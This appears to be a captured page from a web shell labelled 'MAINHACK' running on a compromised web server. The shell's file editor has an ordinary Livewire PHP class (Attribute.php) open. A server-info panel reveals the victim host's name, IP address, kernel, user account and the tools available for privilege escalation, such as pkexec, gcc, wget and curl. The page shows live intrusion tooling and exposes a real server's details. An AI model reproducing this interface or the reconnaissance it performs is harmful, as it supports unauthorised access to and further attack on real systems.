[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Attribute.php
<?php namespace Livewire\Features\SupportAttributes; use Livewire\Component; abstract class Attribute { protected Component $component; protected $subTarget; protected $subName; protected AttributeLevel $level; protected $levelName; function __boot($component, AttributeLevel $level, $name = null, $subName = null, $subTarget = null) { $this->component = $component; $this->subName = $subName; $this->subTarget = $subTarget; $this->level = $level; $this->levelName = $name; } function getComponent() { return $this->component; } function getSubTarget() { return $this->subTarget; } function getSubName() { return $this->subName; } function getLevel() { return $this->level; } function getName() { return $this->levelName; } function getValue() { if ($this->level !== AttributeLevel::PROPERTY) { throw new \Exception('Can\'t set the value of a non-property attribute.'); } return data_get($this->component->all(), $this->levelName); } function setValue($value) { if ($this->level !== AttributeLevel::PROPERTY) { throw new \Exception('Can\'t set the value of a non-property attribute.'); } if ($enum = $this->tryingToSetStringOrIntegerToEnum($value)) { $value = $enum::from($value); } data_set($this->component, $this->levelName, $value); } protected function tryingToSetStringOrIntegerToEnum($subject) { if (! is_string($subject) && ! is_int($subject)) return; $target = $this->subTarget ?? $this->component; $name = $this->subName ?? $this->levelName; $property = str($name)->before('.')->toString(); $reflection = new \ReflectionProperty($target, $property); $type = $reflection->getType(); // If the type is available, display its name if ($type instanceof \ReflectionNamedType) { $name = $type->getName(); // If the type is a BackedEnum then return it's name if (is_subclass_of($name, \BackedEnum::class)) { return $name; } } return false; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.21 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002